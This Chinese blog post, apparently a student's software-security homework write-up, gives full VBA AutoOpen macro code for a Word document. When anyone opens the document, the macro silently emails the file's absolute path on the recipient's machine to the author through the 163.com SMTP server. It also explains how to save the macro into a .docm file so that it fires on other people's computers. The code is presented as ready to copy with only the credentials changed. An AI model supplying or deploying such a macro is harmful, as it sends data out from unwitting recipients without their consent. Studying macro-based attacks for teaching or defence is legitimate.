使用CDO组件,实现:一个word文档,当别人打开以后会自动通过你设定的邮箱回复一封邮件,邮件正文是该word文档在对方系统中的绝对路径

这是软件安全课上的一个作业,要求如题。

可能对没有接触过CDO组件的人来说,对CDO怎么用完全摸不着头脑。在看了网上的一些帖子后,如果没有测试他们的代码,还是不知道怎么用。实际上,CDO组件是一个很好用的东西。至于CDO的概念,我在这里就不多说了,网上多的是。

 

先把代码放上来,是不是一目了然,非常简单。

Sub AutoOpen()
'Dim Email As New CDO.Message  '之前在网上参考的一个帖子里有这句,实际上没有必要
Set Email = CreateObject("CDO.Message") '创建对象 '引用路径:C:\Windows\system32\cdosys.dll
Email.From = "123@163.com" '设置发信人的邮箱"
Email.To = "123.com" '设置收信人的邮箱
Email.Subject = "返回试验" '设定邮件的主题
Email.Textbody = ActiveDocument.FullName    '得到word文档的路径
'cm.HTMLBody = "邮件发送试验^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^" '使用html格式发送邮件  '如果只是完成题目要求的话,用不到这句

stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With Email.Configuration.Fields
    .Item(stUl & "smtpserver") = "smtp.163.com"  'SMTP服务器地址
    .Item(stUl & "smtpserverport") = 25  'SMTP服务器端口,也可以使用163默认的,如465和994
    .Item(stUl & "sendusing") = 2    '发送端口
    .Item(stUl & "smtpauthenticate") = 1     '需要提供用户名和密码,0是不提供   '
    .Item(stUl & "sendusername") = "123@163.com"  '发送方邮箱名称
    .Item(stUl & "sendpassword") = "123"  '发送方邮箱密码
    .Update
End With
Email.Send '执行发送
MsgBox "okey"   '弹出一个框显示okey,方便你确认是否成功
End Sub

现在对这段代码进行解释。

1、为啥用AutoOpen

AutoOpen是word宏里的一个默认宏,一般是空的,里面一条语句都没有。每当一个word文档打开以后,AutoOpen就会在文档打开的瞬间执行,由于里面啥也没有,因此用户也感觉不到它的存在。但是因为这个宏是自动执行的,所以为我们提供了方便。

2、那几个邮箱是干啥用的

正如标注的那样,一个是用来发邮件的,一个是用来接收邮件的。发送邮件的那个要在这里输入密码。因此,这两个邮箱都是你自己的,要不然发到哪?这个宏执行了以后,就会自动调用你输入密码的那个邮箱给另一个邮箱发送邮件,邮件的内容就是Email.***。

3、有啥要注意的吗

按照我这上面的copy就完事了。但是要强调几点:                                                                                                                         ① 不要把Email这个字符串改成其他的。我之前在做的时候参考了网上某个人的帖子,一直有错,但就是找到错误在哪。后来和同学的一对比,所有不同的地方就这里会产生影响。

②由于宏这个东西默认是对同一台电脑上的所有word文档都行的,你在自己的电脑上设置了AutoOpen这个宏,测试一下发现挺好,但放到了别人的电脑上就会出问题,因为别人只是接收了你的文档,而没有进行和你一样的修改AutoOpen的操作,那么在别人的电脑上,这个文档的AutoOpen还是默认设置,也就是啥也没有。该怎么办呢?把Normal 下面的NewMacros拖到Project下面,然后把Normal下面的NewMacros删掉,保存文档时选择另存为启用宏的word文档(后缀为docm而不是一般的docx)----否则会出错,宏里面还是啥也没有。 这个操作会把AutoOpen这个宏的设置变成仅对该文档有用,那么就不会被默认设置给覆盖了,Perfect!!!!!!!

③ 一定要先把这两个邮箱,尤其是你发邮件的那个的SMTP服务打开,否则就不支持上述操作。不太建议用QQ邮箱,如果想试试的话也可以,得把SMTP服务地址改了。端口该不该都行,因为25也不是163的SMTP的端口,照样行得通。

④如果你按照我上面说的做,顺便把我觉得不重要而没有写上的内容(基本的宏操作操作,不会的话也应该不会遇到这个题目)脑补一下的话,那么应该是没有问题的,不需要增加引用的库。仅仅对这个题目而言,如果你结果不对的话,问题不在库上,因为我发现加库也没有,改对了,原本的默认库就够了。   况且,我把题目都给了,代码也给了,只需要修改上面的邮箱和密码,那么只有你知道word宏是啥东西和一些基本的操作,绝不会有问题的。

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值